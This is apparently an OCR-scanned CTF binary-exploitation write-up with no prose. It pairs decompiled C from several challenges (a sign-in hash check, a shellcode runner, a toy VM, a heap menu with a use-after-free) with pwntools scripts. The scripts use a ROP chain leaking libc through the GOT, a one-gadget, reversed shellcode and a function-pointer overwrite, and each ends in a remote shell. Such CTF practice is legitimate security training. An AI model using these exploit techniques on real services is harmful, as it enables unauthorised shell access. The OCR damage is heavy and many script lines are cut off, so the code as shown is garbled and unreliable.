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int sub_4018C7()
{

char buf[32]; // [rsp+@h] [rbp-2@h] BYREF

puts("Please Sign-in");
putchar(62);
read(®, sl, @x2eulLl);
puts("Please input u Pass");
putchar(62);
read(@, buf, @x28uLl);
if ( strncmp(sl, "admin", SuLL) || (unsigned int)sub_401974(buf) )
{

puts(“Oh no");

exit(e);
}
puts(“Sign-in Success");
return puts("BaileGeBai");
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__inte4 __ fastcall sub_401974(const char *al)
{
unsigned int v1; // eax
char v3[96]; // [rsp+1@h] [rbp-9@h] BYREF
__inte4 v4[2]; // [rsp+7eh] [rbp-36h]
char v5[28]; // [rsp+8@h] [rbp-20h] BYREF
int i; // [rsp+9Ch] [rbp-4h]

v4[e] OxA7AS577A292F2321LL;
v4[1l] OxC31FE804A0E4AB943LL;
sub_4ee7F6(v3);
vl = strlen(al);
sub_4ee842(v3, al, vl);
sub_4ee99e(v3, v5);
for (1 =0; 1 <= 15; ++1 )
{
if ( *((_BYTE *)va + i) = v5[i] )
return 1LL;
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return OLL;
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[ DWORD *__ fastcall sub_4@@7F6(_DWORD

{
_DWORD *result; // rax
*21 = 8;
al[l] = e;
a1[2] = @x67452301;

al[3] = exEFCDABS89;
al[4] = ©x98BADCFE;
result = al;

al[5] = ex1e325476;
return result;
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.text:00000000004018B5 call _puts

.text:000060000004018BA mov eax, @

.text:00000000004018BF call sub_4018C7
tavt ARAAAAARAAART RCA [aTalal
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from pwn import

context.log level
remote(

elf = ELF(

libc = ELF(

pop_rdi 0x401ab3
puts 0x4018B5
puts_got 0x602028
name_addr 0x602400

.1just(s, )

p64(pop_rdi) p64(puts_got) p64(puts)
, payload)

3 + p64(name_addr)
, payload)

ub4(r.recvuntil(

(libc_base)

p64(0x4527a+1libc_base)

4+ p64(0x602410)
, payload)

r.interactive()
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int _ cdecl main(int argc, const char **argv, const char **envp)

{

char *v3; // eax

int v5; // [esp-4h] [ebp-
unsigned int i; // [esp+6h
char *buf; // [esp+4h]
ssize_t v8; // [esp+8h] [e

buf = (char *)mmap(@, ©x4eeu, 7, 34, @, 0);
alarm(@xAu);

setvbuf(stdout, ©, 2, ©);
setvbuf(_bss_start, ©, 2, ©);

puts("Send me stuff!!");

v8 = read(®, buf, ©x4eeu);

if (ve < @)

{
puts("Error reading!");
exit(1);
¥
for (1 =03 VvE / 2 > 1) ++1 )
{
buf[i] ~= buf[v8 - 1 - 1];
v3 = &buf[ve - 1 - 1];
*v3 A= buf[i];
buf[i] A= *v3: |
¥
((void (__stdcall *)(int, unsigned int, char *))buf)(v5, i, buf);
return 8;
¥
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from pwn import

context(log level

remote( ,29401)

.recv()
.send(asm(shellcraft.sh())[::-1])

.interactive()
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= (char *)malloc(@x2@ulLL);
= sub_4013B4(64LL);
sub_4013B4(128LL);
sub_4013B4(64LL);
= malloc(@x4@eull);
puts("Your program name:");
sub_401E14(s, 32LL);
puts("Your instruction:");
sub_401E14(ptr, 1024LL);
sub_40161D(v6, );
puts("Your stack data:");
sub_401E14(ptr, 1024LL);
sub_48151A(v5, )3
if ( (unsigned int)sub_481967(

{
puts("------- ")
puts(s);
sub_4018CA(v5);
puts("------- ")
}
else
{
puts("Your Program Crash :)");
}
free( );

sub_401381(v6);
sub_401381(v5);
sub_401381(v7);
return eLL;
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switch ( ve )
{
case Ox11LL:
v5 = sub_4@1AAC(z3,
break:;
case Ox12LL:
v5 = sub_401AF8(z3,
break:;
case Bx21LL:
v5 = sub_401B44(z3,
break:;
case Bx22LL:
v5 = sub_4@1BA5(a3,
break;
case @x23LL:
v5 = sub_4@1Ces(a3,
break;
case ex24LL:
v5 = sub_401Ce8(a3,
break;
case Ox31LL:
v5 = sub_4@1CCE(a3,
break;
case Ox32LL:
v5 = sub_401D37(a3,
break;
default:
v5 = 8;
break;
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{
ptr[v2] = 17LL;

ilse if ( !stremp(si, "pop") )
i ptr[v2] = 18LL;

ilse if ( !stremp(si, "add") )
i ptr[v2] = 33LL;

¥

else if ( !stremp(si1, "sub™) )

{
ptrlv2] = 34LL;

ilse if ( !stremp(sl, "mul") )
¢ ptr[v2] = 35LL;
ilse if ( !stremp(sl, "div") )
k ptr[v2] = 36LL;
ilse if ( !stremp(sl, "load") )
i ptr[v2] = 49LL;
ilse if ( !strecmp(sl, "save") )
{
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from pwn import

remote( , 27532)

0x404020

(-4)
(puts_got+8)
(-0x2a300)
€))

(=5)
(puts_got+8)

r.sendline(payload)

r.interactive()
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add

for (1 =0; 1 <= 4; ++1 )
{
if ( !*(&servantlist + 1) )
{
*(&servantlist + i) = malloc(8u);
if ( !*(&servantlist + 1) )

{
puts(“Error");
exit(-1);
}
*(_DWORD *)*(&servantlist + i) = print_servant_content;
puts(“"the size of servant's name : ");
read(e, , 8u);

= atoi( );

= (int)*(&servantlist + 1);
*(_DWORD *)( + 4) = malloc( )
if ( !'*((_DWORD *)*(&servantlist + i) + 1) )
{

puts("Error");

exit(-1);
}
puts("ability : ");
read(@, *((void **)*(&servantlist + i) + 1), );
puts(“"Success !");
++count;
return __readgsdword(@x14u) ~ H
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free

unsigned int del_servant()

{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-16h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(@xl4u);
puts("Index : ");

read(@, buf, 4u);

vl = atoi(buf);

if (vi <@ || vi >= count )

{
puts("Out of bound");
exit(@);
¥
if ( *(&servantlist + v1) )
{

free(*((void **)*(&servantlist + v1) + 1));
free(*(&servantlist + v1));
puts(“Success ");

h

return __readgsdword(@x14u) ~ v3;
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print

insigned int print_servant()

r
L

int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-16h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __ readgsdword(@exi4u);
printf("Index :");
read(@, buf, 4u);
vl = atoi(buf);
if (vl < ©@ || vi >= count )
{
puts("Out of bound!");
exit(0);
}
if ( *(&servantlist + v1) )
(*(void (__cdecl **)(_DWORD))*(&servantlist + v1))(*(&servantlist + v1));
return __readgsdword(®x14u) ~ v3;
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from pwn import
context.log level

remote( , 25805)

def add(size, content):
r.sendlineafter(
r.sendlineafter(
r.sendafter( , content)
def delete(index):
r.sendlineafter( )
r.sendlineafter( (index))
def show(index):
r.sendlineafter( )

r.sendlineafter( (index))

puts_got elf.got|

add (0x8, p32(0x8048956))

show(9)

r.interactive()
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setvbuf(stderr, @, 2, 9);

dword_804DeBe = sub_804A803();
dword_804DeB4 = sub_864A7C3();
dword_804DRAC = sub_864A7C3();

ve = sub_804A719("add", (int)sub_8049384);
sub_804A8208(dword_804DOBe, "add", v@);

vl = sub_804A719("sub", (int)sub_8049B5B);
sub_804A8208(dword_804DOBO, "sub", vl);

v2 = sub_804A719("mul", (int)sub_80498E8);
sub_804A8208(dword_8e4DOBO, "mul", v2);

v3 = sub_804A719("div", (int)sub_8049CC7);
sub_804A8208(dword_8e4DeBe, "div", v3);

v4 = sub_804A719("mod", (int)sub_8049E6A);
sub_804A8208(dword_804DOBO, "mod", v4);

v5 = sub_804A719("not", (int)sub_8e4AeeF);
sub_8e4A828(dword_8e4DeBe, "not", v5);

v6 = sub_804A719("int", (int)sub_8e4972E);
sub_8e4A82e(dword_8e4DeBe, "int", ve);

v7 = sub_804A719("exit", (int)sub_804A562);
sub_8e4A82e(dword_8e4DeBe, "exit", v7);

v& = sub_804A719("equals", (int)sub_804A29C);
sub_8e4A82e(dword_8e4DeBe, "equals", v8);
v9 = sub_804A719("type", (int)sub_804A4F8);
sub_8e4A82e(dword_8e4DeBe, "type", v9);

v1e = sub_804A719("len", (int)sub_84A1E2);
sub_8e4A82e(dword_8e4DeBe, "len", vie);

aFR K.

while ( 1)
{
memset(s, @, sizeof(s));
printf ("> ");
if ( !fgets(s, 256, stdin) )
break:;
vll = strrchr(s, 10);
if (vil )
*yll = 8;
sub_8848BC1(s);
¥

exit(e);
. I
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from pwn import

shellcode asm(shellcraft.sh())

remote( , 26397)

.sendline( shellcode

.sendline(

.interactive()
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